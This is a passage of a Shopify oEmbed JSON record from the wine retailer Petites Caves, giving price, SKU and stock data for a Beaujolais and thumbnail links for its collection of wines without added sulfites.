Title","offer_id":50015273189717,"sku":"P4326-2023","price":30.0,"currency_code":"EUR","in_stock":true}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/files\/4000-beaujolais-domaine-thillardon-rouge-sous-la-roche-2021-r_b5e9cb07-fbc3-4a79-b3b6-38eb043cf44b.jpg?v=1708103950"}],"thumbnail_url":"\/\/cdn.shopify.com\/s\/files\/1\/0459\/2871\/0305\/collections\/vins-sans-soufre-ajoute-793131.jpg?v=1626269131","url":"https:\/\/www.petitescaves.com\/es\/collections\/vin-sans-sulfite.oembed","provider":"Petites Caves","version":"1.0","type":"link"}